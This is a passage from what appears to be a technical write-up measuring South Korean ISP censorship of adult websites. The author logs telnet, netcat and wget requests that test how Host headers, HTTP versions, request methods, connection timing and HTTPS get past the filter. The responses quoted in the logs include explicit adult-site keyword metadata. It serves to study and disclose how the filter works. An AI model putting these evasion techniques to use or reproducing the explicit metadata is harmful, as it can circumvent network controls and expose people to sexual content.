&lt;meta charset="utf-8"&gt;&lt;meta name="referrer" content="always" /&gt;
&lt;title&gt;Free Porn Videos &amp; HD Sex Tube Movies at xHamster&lt;/title&gt;
&lt;meta name="description" content="Watch and download all Porn Videos at xHamster for Free, including HD. Browse sex photos, date girls to fuck &amp;amp; have fun in Live Sex Chat only at xHamster!"&gt;
&lt;meta name="RATING" content="RTA-5042-1996-1400-1577-RTA"&gt;
&lt;meta name="viewport" content=""&gt;
&lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt;
&lt;meta name="yandex-tableau-widget" content="logo=http://static-ec.xhcdn.com/images/xYa.png, color=#f2f2f2" /&gt;
&lt;link rel="alternate" href="http://xhamster.com/" hreflang="x-default"&gt;
[...]
</code></pre>
<p>It works on this censored website, too. Having an old browser without <code>Host</code> support will bypass the censorship (as long as the remote website is serving webpages without providing <code>Host</code> - it depends on the remote configuration of the remote servers).
But good luck browsing the Internet without having vhost support :)</p>
<p>Note that this technique doesn't work with a LG U+ connection:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr/
</code></pre>
<p>However, if you contact an uncensored website without proving a <code>Host</code> field, the webpage will not be blocked in a LG U+ connection.</p>
<p><strong>It means that LG has apparently a database of IPs corresponding of censored websites and if you contact them without providing a Host, the request will be blocked.</strong></p>
<p>Now still with HTTP/1.0:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80
Trying 88.208.18.30...
Connected to xhamster.com.
Escape character is '^]'.
GET http://www.xhamster.com/ HTTP/1.0
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p><strong>Wow, this request was banned even with HTTP/1.0. From this, we can determine the transparent proxies are analyzing the URI too (along with the Host field), looking for forbidden domains.</strong></p>
<p><a id="http-1.1"></a></p>
<h4>3.3.3 HTTP/1.1</h4>
<p>Now we start playing with Host using the "new" HTTP/1.1 technology (RFC 2616, only 17 year old):</p>
<p>The <code>Host</code> field containing a censored webpage will trigger the censorship system:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: xhamster.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>This request is banned.</p>
<p>The invalid Host <code>www.xhamster.com/aaaaaaaafield</code> containing a censored webpage will trigger the censorship system too:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.18.30...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com/aaaaaaaa
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>This request is banned even if the vhost is not good.</p>
<p>The Host <code>www.xhamster.com:80</code> field containing a censored webpage will trigger the censorship system:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com:80
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>The request is still banned with <code>www.xhamster.com:80</code> as a remote host.</p>
<p>The Host <code>www.xhamster.com:-800000000000000000000</code> field containing a censored webpage will trigger the censorship system too:</p>
<pre><code>user@kali:~$telnet www.xhamster.com 80
Trying 88.208.18.30...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com:-800000000000000000000
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>So <code>www.xhamster.com:-800000000000000000000</code> is banned too.</p>
<p>The Host <code>www.xhamster.com:80:80</code> field containing a censored webpage will trigger the censorship system:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com:80:80

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p><code>www.xhamster.com:80:80</code> is banned too.</p>
<p>Sending 2 hosts with the first one in the list of censored websites trigger the censorship system:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
Host: www.lulz.com

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>With 2 <code>Host</code> fields, only the first one seems to be used. Sending 2 hosts with only the second one in the list of censored websites will NOT trigger the censorship system as I received an answer from Xhamster.com servers:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.lulz.com
Host: www.xhamster.com

HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://lulz.com/

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>With 2 <code>Host</code> fields, the first one is used and this request was OK but unusable because the remote server is configured to use the first vhost and is providing me with a 301 redirection to it (protip xhamster admins: please use a catch-all vhost!).</p>
<p>Ok, as seen already, the system is analyzing HTTP requests passing to every international link. Let's continue using Google servers :)</p>
<p>Asking <code>www.xhamster.com</code> to a Google server will result in a 302 redirect to <code>http://www.warning.or.kr</code>:</p>
<pre><code>user@kali:~$ telnet 216.58.197.227 80
Trying 216.58.197.227...
Connected to 216.58.197.227.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>Asking <code>www.xhamster.com%00</code> will produce an error from the Google server, showing that the request was NOT censored!</p>
<pre><code>user@kali:~$ telnet 216.58.197.227 80
Trying 216.58.197.227...
Connected to 216.58.197.227.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com%00

HTTP/1.0 400 Bad Request
Content-Length: 54
Content-Type: text/html; charset=UTF-8
Date: Fri, 01 Oct 2016 00:00:00 GMT

&lt;html&gt;&lt;title&gt;Error 400 (Bad Request)!!1&lt;/title&gt;&lt;/html&gt;Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>Ok, let's try on <code>Xhamster.com</code> website:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80  
Trying 88.208.29.24...
Connected to xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com%00

HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com%00/

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>It works - I got a reply from the www.xhamster.com server.</p>
<p>Let's try to add some random stuff with invalid HTTP request (e.g. Host: <code>%s:www.xhamster.com</code>):</p>
<pre><code>user@kali:~$ telnet xhamster.com 80
Trying 88.208.18.30...
Connected to xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: %s:www.xhamster.com

HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com/

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>It works too!</p>
<p>Ok, doing Webdav will work too. The remote Xhamster.com webpage will reply to me:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80   
Trying 88.208.29.24...
Connected to xhamster.com.
Escape character is '^]'.
OPTIONS * HTTP/1.1
Host: www.xhamster.com:80

HTTP/1.1 400 Bad Request
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

&lt;html&gt;
&lt;head&gt;&lt;title&gt;400 Bad Request&lt;/title&gt;&lt;/head&gt;
&lt;body bgcolor="white"&gt;
&lt;center&gt;&lt;h1&gt;400 Bad Request&lt;/h1&gt;&lt;/center&gt;
&lt;hr&gt;&lt;center&gt;nginx/1.10.1&lt;/center&gt;
&lt;/body&gt;
&lt;/html&gt;
Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>Using URIs will trigger the censorship system too:</p>
<p>Fetching <code>http://xhamster.com/about.php</code> and <code>http://www.xhamster.com/</code> will show a 302 redirect to <code>http://www.warning.or.kr</code>:</p>
<pre><code>user@kali:~$ telnet xhamster.com 80
Trying 88.208.29.24...
Connected to xhamster.com.
Escape character is '^]'.
GET http://xhamster.com/about.php HTTP/1.1
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>In this one, I ask <code>http://www.xhamster.com/</code> to a remote Google server (censored too):</p>
<pre><code>user@kali:~$ telnet 216.58.214.131 80
Trying 216.58.214.131...
Connected to 216.58.214.131.
Escape character is '^]'.
GET http://www.xhamster.com/ HTTP/1.0
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>And minutes later, the same request will send me another reply:</p>
<pre><code>user@kali:~$ telnet google.ru 80
Trying 216.58.214.131...
Connected to google.ru.
Escape character is '^]'.
GET http://www.xhamster.com/ HTTP/1.0
HTTP/1.0 200 OK
Content-type: text/html

&lt;html&gt;&lt;script&gt;
var arg = "http://www.warning.or.kr"
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=")
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.google.com");}
else{
c = a[0].split("?");
location.replace(c[0]);
}
&lt;/script&gt;&lt;/html&gt;
Connection closed by foreign host.
user@kali:~$
</code></pre>
<p><a id="analysis"></a></p>
<h3>3.4 Analysis</h3>
<p>The censorship system analyzes <code>URI</code> and <code>Host</code> field to identify remote webserver and denies the access by providing a 302 redirection to <code>www.warning.co.kr</code> or by providing a webpage with a JavaScript redirection.</p>
<p>HTTP/0.9 is not supported and bypasses the censorship system.</p>
<p>HTTP/1.0 and HTTP/1.1 requests without Hosts or complete URI are not supported and thus bypass the censorship system by default.</p>
<p>We have now questions:</p>
<ul>
<li>Will using HTTPS bypass the transparent proxy?</li>
<li>Will using HTTP/2 with TLS bypass the transparent proxy?</li>
<li>How about IPv6?</li>
</ul>
<p><a id="more-tricky-requests-with-http"></a></p>
<h3>3.5 More tricky requests with HTTP</h3>
<p><a id="custom-vhosts"></a></p>
<h4>3.5.1 Custom Vhosts</h4>
<p>I was lucky to find a website with a wildcard for the vhost: <code>Tube8.com</code> (NSFW - thank you tube8.com admins).</p>
<p>Using random vhosts while contacting the <code>Tube8.com</code> servers will still provide me with <code>tube8.com</code> webpages.</p>
<p>As shown below, <code>Tube8.com</code> is configured as a wildcard, and requesting this webpage with a custom vhost (<code>please-enlarge-my-bandwith</code>) will work:</p>
<pre><code>user@kali:~$ telnet tube8.com 80
Trying 31.192.112.104...
Connected to tube8.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: please-enlarge-my-bandwith

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Connection: close
Set-Cookie: t8segm=0; expires=Wed, 01-Oct-2016 00:00:00 GMT; Max-Age=604800; path=/
Set-Cookie: rand1=1472020135; expires=Wed, 01-Oct-2016 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: rand2=REMOVED; expires=Wed, 01-Oct-2016 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: GA-BE-SID=REMOVED
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1772; path=/

&lt;!DOCTYPE html&gt;
        &lt;html class="en" lang="en" id="lang_en"&gt;
        &lt;head&gt;
        &lt;script type="text/javascript"&gt;
            var rta = document.createElement('script');
            rta.type = 'text/javascript';


[will send the complete index.html webpage]
</code></pre>
<p>Trying to <code>wget</code> the webpage (with <code>tube8.com</code> vhost) will forward to the <code>www.warning.or.kr</code> webpage, ruining all the fun:</p>
<pre><code>user@kali:~$  wget http://www.tube8.com/
--2016-10-01 XX:XX:XX--  http://www.tube8.com/
Resolving www.tube8.com (www.tube8.com)... 31.192.112.104
Connecting to www.tube8.com (www.tube8.com)|31.192.112.104|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX--  http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.1'

index.html.1100%[=====================================================================================================================&gt;]  10.34K  --.-KB/s    in 0.02s

2016-10-01 XX:XX:XX (628 KB/s) - 'index.html.1' saved [10590/10590]

user@kali:~$
</code></pre>
<p>Now by setting a custom vhost (<code>please-enlarge-my-bandwith.com</code>), we will bypass the censorship!</p>
<pre><code>user@kali:~$ wget --header="Host: please-enlarge-my-bandwith.com" -O- http://www.tube8.com/      
--2016-10-01 XX:XX:XX--  http://www.tube8.com/
Resolving www.tube8.com (www.tube8.com)... 31.192.112.104
Connecting to www.tube8.com (www.tube8.com)|31.192.112.104|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'

&lt;!DOCTYPE html&gt;
&lt;html class="en" lang="en" id="lang_en"&gt;
&lt;head&gt;
&lt;script type="text/javascript"&gt;
var rta = document.createElement('script');
rta.type = 'text/javascript';

[...]
</code></pre>
<p>Censorship was bypassed and confirms the filtering occurs in the <code>Host</code> header if we are using HTTP/1.1.</p>
<p><a id="http-requests-methods"></a></p>
<h4>3.5.2 HTTP requests methods</h4>
<p>Introducing a new banned website: <code>www.spankwire.com</code>.</p>
<p>This website is censored.</p>
<p>The reader will note that we only did <code>GET</code> requests in the previous sections. Now, from my tests, only <code>GET</code> and <code>POST</code> are filtered:</p>
<p>These requests will be censored:</p>
<p><code>GET</code> request with a <code>Host</code> header:</p>
<pre><code>user@kali:~$ (echo GET / HTTP/1.0
echo Host: www.spankwire.com
echo ) | nc www.spankwire.com 80

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
</code></pre>
<p><code>GET</code> request with a complete URI containing a censored website:</p>
<pre><code>user@kali:~$ (echo GET http://www.spankwire.com/ HTTP/1.0
echo ) | nc www.spankwire.com 80

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
</code></pre>
<p><code>POST</code> requests are censored too.</p>
<p>Fun facts: <code>X</code> <code>RANDOM</code> <code>PUT</code> <code>DELETE</code> <code>OPTIONS</code> <code>TRACE</code> <code>CONNECT</code> methods are NOT censored.</p>
<p>A <code>X</code> method and a <code>RANDOM</code> method can work against Apache2 servers.</p>
<p><code>X / HTTP/1.0</code> will provide us with a remote resource, being treated as <code>GET / HTTP/1.0</code> by Apache.</p>
<p>Nginx doesn't like random HTTP methods.</p>
<p>This can be used to bypass the censorship system as only <code>GET</code> and <code>POST</code> requests are analyzed.</p>
<p><a id="having-fun-with-http-1.1-persistent-connection"></a></p>
<h4>3.5.3 Having fun with HTTP/1.1 persistent connection</h4>
<p>You can send requests to multiple resources within a TCP connection for a HTTP/1.1 connection. Let's use it to find a "race condition" :)</p>
<pre><code>user@kali:~$ cat tcp-http11-persistent-test0.sh
#!/bin/sh

(
# first request, asking information about /
echo 'HEAD / HTTP/1.1'
echo

sleep 0.3 # will bypass the block


# second request, getting /
echo 'GET / HTTP/1.1'
echo 'Host: www.tube8.com'
echo
) | nc www.tube8.com 80

user@kali:~$
</code></pre>
<p>Surprisingly, this request will bypass the censorship:</p>
<pre><code>user@kali:~$ sh tcp-http11-persistent-test0.sh
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Content-Length: 178
Location: http://www.tube8.com/400.html
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1165; path=/

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Set-Cookie: t8segm=0; expires=Fri, 01-Oct-2017 00:00:00 GMT; Max-Age=604800; path=/
Set-Cookie: rand1=0000000000; expires=Fri, 01-Oct-2017 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: rand2=REMOVED; expires=Fri, 01-Oct-2017 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: GA-BE-SID=REMOVED
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1770; path=/

1e50
&lt;!DOCTYPE html&gt;
&lt;html class="en" lang="en" id="lang_en"&gt;
&lt;head&gt;
&lt;script type="text/javascript"&gt;
var rta = document.createElement('script');
rta.type = 'text/javascript';
rta.id = 'htScript';
rta.async = true;
rta.src = ('https:' == document.location.protocol ? 'https://' : 'http://')
[...]
</code></pre>
<p>Analysis: If you don't wait enough after sending the first request and then you send a second request with the same HTTP connection, the second HTTP request will not be analyzed by the censorship system.</p>
<p>I determined the sleep must be <code>&lt;= 0.3 second</code> to bypass the censorship. 0.4 second between HTTP requests with the same TCP connection will trigger the censorship system and the second request will be censored as shown below:</p>
<pre><code>user@kali:~$ cat tcp-http11-persistent-test1.sh                        
#!/bin/sh

(
# first request, asking information about /
echo 'HEAD / HTTP/1.1'
echo

sleep 0.5 # will produce the block


# second request, getting /
echo 'GET / HTTP/1.1'
echo 'Host: www.tube8.com'
echo
) | nc www.tube8.com 80
user@kali:~$
</code></pre>
<p>Testing this code will trigger the censorship system on the <code>GET</code> method:</p>
<pre><code>user@kali:~$ sh cat tcp-http11-persistent-test1.sh
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Content-Length: 178
Location: http://www.tube8.com/400.html
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1770; path=/

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

user@kali:~$
</code></pre>
<p><a id="http-vs-https"></a></p>
<h4>3.5.4 HTTP vs. HTTPS</h4>
<p>As there are no HTTPS websites in the Wikipedia list of censored websites, I had to use <a href="https://github.com/aredo/porn-site-list/blob/master/sites.json">https://github.com/aredo/porn-site-list/blob/master/sites.json</a> to find censored websites with different characteristics (HTTP and HTTPS). Apparently, a lot of adult websites don't provide HTTPS versions. <strong>Booooh</strong>.</p>
<p>Only a few adult websites are using HTTPS. <code>Google.com</code> helped me find a candidate supporting HTTP and HTTPS: <code>www.tnaflix.com</code> (heavily NSFW, found with "porn using https").</p>
<p><code>www.tnaflix.com</code> is censored by default. It will redirect to <code>http://www.warning.or.kr/</code>:</p>
<pre><code>user@kali:~$ wget http://www.tnaflix.com/
--2016-10-01 XX:XX:XX--  http://www.tnaflix.com/
Resolving www.tnaflix.com (www.tnaflix.com)... 108.61.250.17
Connecting to www.tnaflix.com (www.tnaflix.com)|108.61.250.17|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01XX:XX:XX--  http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.6'

index.html.6                                         100%[=====================================================================================================================&gt;]  10.34K  --.-KB/s    in 0.01s

2016-10-01 XX:XX:XX (1002 KB/s) - 'index.html.6' saved [10590/10590]
user@kali:~$
</code></pre>
<p>Now the HTTPS version will provide the original 179KB of the webpage:</p>
<pre><code>user@kali:~$ wget https://www.tnaflix.com/
--2016-10-01 XX:XX:XX--  https://www.tnaflix.com/
Resolving www.tnaflix.com (www.tnaflix.com)... 108.61.250.17
Connecting to www.tnaflix.com (www.tnaflix.com)|108.61.250.17|:443...connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html.4'

index.html.4                                             [    &lt;=&gt;] 180.17K  97.7KB/s    in 1.8s

2016-10-01 XX:XX:XX (97.7 KB/s) - 'index.html.4' saved [184492]
user@kali:~$
</code></pre>
<p><strong>Using HTTPS will completely bypass the "Warning webpage" from South Korean Agency, sus, bypassing the censorship.</strong></p>
<p><a id="random-behaviors-provided-by-the-censorship-system"></a></p>
<h4>3.5.5 Random behaviors provided by the censorship system</h4>
<p>Note that there are different behaviors with the censorship.
For some websites blocked in HTTP, sometimes they can be browsed and sometimes they are blocked.
It shows there is a BIG problem about transparent proxies (and it added complexity for me to debug/understand technologies involved). To demonstrate this:</p>
<p>Access OK:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com

HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com/

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>Access blocked seconds later:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com

HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p>Access OK seconds later:</p>
<pre><code>user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com

HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com/

Connection closed by foreign host.
user@kali:~$
</code></pre>
<p><a id="cdn-for-content"></a></p>
<h4>3.5.6 CDN for content (VOD/images)</h4>
<p>A lot of censored websites are using CDN to deliver online videos and images. These CDNs hosts don't seem to be censored even when clear text HTTP is being used.</p>
<p>The domains used in CDNs are not blacklisted by transparent proxies but by main domain names (www.stuff.tld, subdomain.stuff.tld).</p>
<p><a id="http2-for-http-uris"></a></p>
<h4>3.5.7 HTTP2 for http URIs</h4>
<p>I could not find censored websites supporting HTTP2 without HTTPS, so I was not able to test. However, considering how primitive the transparent proxies are, I'm sure it is not blocked.</p>
<p>But the lack of browser supporting this option limits the use of this technique to bypass the censorship:</p>
<blockquote>
<p>However, some implementations have stated that they will only support HTTP/2 when it is used over an encrypted connection, and currently no browser supports HTTP/2 unencrypted.</p>
<p>-- <cite><a href="https://http2.github.io/faq/#does-http2-require-encryption">https://http2.github.io/faq/#does-http2-require-encryption</a></cite></p>
</blockquote>
<p><a id="websockets"></a></p>
<h4>3.5.8 WebSockets</h4>
<p>I could not find censored websites supporting Websockets but, considering how primitive the transparent proxies are, there is a high probability that it is not censored.</p>
<p><a id="http2-for-https-uris"></a></p>
<h4>3.5.9 HTTP2 for https URIs</h4>
<p>As already shown, HTTPS websites are not censored. HTTPS with or without HTTP2 will allow to bypass the censorship.</p>
<p>HTTP/1.1 in clear text with the HTTP/2 <code>upgrade</code> header will be triggered by the censorship system (because of the <code>Host</code> header):</p>
<pre><code>GET / HTTP/1.1
Host: server.example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: &lt;base64url encoding of HTTP/2 SETTINGS payload&gt;
</code></pre>
<p><a id="readline-vs-buffered-http-requests"></a></p>
<h4>3.5.10 Readline vs. buffered HTTP requests</h4>
<p>From my tests, I observed different behaviors when the request is sent line by line and when it's buffered and sent all together.
<strong>This is a rare occurrence and I can't understand why</strong>.</p>
<p>Sending this request line by line on KT network will work (but not on SKT):</p>
<pre><code>user@kali:~$ cat /dev/shm/req.txt 
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.youjizz.com
Connection: Keep-Alive
user@kali:~$
</code></pre>
<p>Using readline (netcat), the connection will be blocked:</p>
<pre><code>user@kali:~$ cat /dev/shm/req.txt| nc www.youjizz.com 80
HTTP/1.0 200 OK
Content-type: text/html

&lt;html&gt;&lt;script&gt;
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&amp;", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
&lt;/script&gt;&lt;/html&gt;
user@kali:~$
</code></pre>
<p>Using buffered HTTP requests (with telnet) - the connection will be uncensored:</p>
<pre><code>user@kali:~$ telnet www.youjizz.com 80   
Trying 31.192.122.224...
Connected to www.youjizz.com.
Escape character is '^]'.
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.youjizz.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/1.9.5
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=REMOVED; path=/
Expires: Thu, 01 Oct 1981 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Set-Cookie: RNLBSERVERID=ded1416; path=/

e69

&lt;!DOCTYPE html&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
&lt;meta name="RATING" content="RTA-5042-1996-1400-1577-RTA" /&gt;
&lt;meta name="KEYWORDS" content="porn tube,you porn,sex tube,porntube,youporn,sextube,tube porn,porno tube,sex,free sex,mobile porn,iphone porn,phone porn,free porn videos,free sex movies,vids,adult,movie,amateur porn,anal sex,big dicks,big tits,blowjob,creampie,cumshot,hardcore,teen porn,youjizz,youjizz.com,nude teens,teen sex,hardcore sex,xxx adult video,porn videos,hardcore video,porn movies,teen hardcore,milf hardcore,sex movies,porn links,sex movies,all porn"/&gt;
&lt;meta name="DESCRIPTION" content="Youjizz Porn Tube! Free porn movies and sex videos on your desktop or mobile phone."/&gt;
[...]
</code></pre>
<p>The same result with netcat - the connection will be uncensored:</p>
<pre><code>user@kali:~$ nc www.youjizz.com 80   
Trying 31.192.122.224...
Connected to www.youjizz.com.
Escape character is '^]'.
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.youjizz.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx/1.9.5
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=REMOVED; path=/
Expires: Thu, 01Oct 1981 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Set-Cookie: RNLBSERVERID=ded1416; path=/

e69

&lt;!DOCTYPE html&gt;
&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
&lt;meta name="RATING" content="RTA-5042-1996-1400-1577-RTA" /&gt;
&lt;meta name="KEYWORDS" content="porn tube,you porn,sex tube,porntube,youporn,sextube,tube porn,porno tube,sex,free sex,mobile porn,iphone porn,phone porn,free porn videos,free sex movies,vids,adult,movie,amateur porn,anal sex,big dicks,big tits,blowjob,creampie,cumshot,hardcore,teen porn,youjizz,youjizz.com,nude teens,teen sex,hardcore sex,xxx adult video,porn videos,hardcore video,porn movies,teen hardcore,milf hardcore,sex movies,porn links,sex movies,all porn"/&gt;
&lt;meta name="DESCRIPTION" content="Youjizz Porn Tube! Free porn movies and sex videos on your desktop or mobile phone."/&gt;
</code></pre>
<p>From nc manpage:</p>
<blockquote>
<p>Data from the network connection is always delivered to standard output as efficiently as possible, using large 8K reads and writes.  Standard input is normally sent to the net in the same way, but the -i switch specifies an "interval time" which slows this down considerably.  Standard input is still read in large batches, but netcat then tries to find where line breaks exist and sends one line every interval time.  Note that if standard input is a terminal, data is already read line by line, so unless you make the -i interval rather long, what you type will go out at a fairly normal rate.  -i is really designed for use when you want to "measure out" what is read from files or pipes.</p>
<p>-- <code>man 1 nc</code></p>
</blockquote>
<p>A basic test is provided with a second website:</p>
<pre><code>user@kali:~$ cat buffered-request.sh 
echo GET / HTTP/1.0
echo Host: www.xhamster.com
echo
user@kali:~$
</code></pre>
<p>Using <code>nc</code> with a pipe will have my request censored:</p>
<pre><code>user@kali:~$ sh buffered-request.sh | nc www.xhamster.com 80

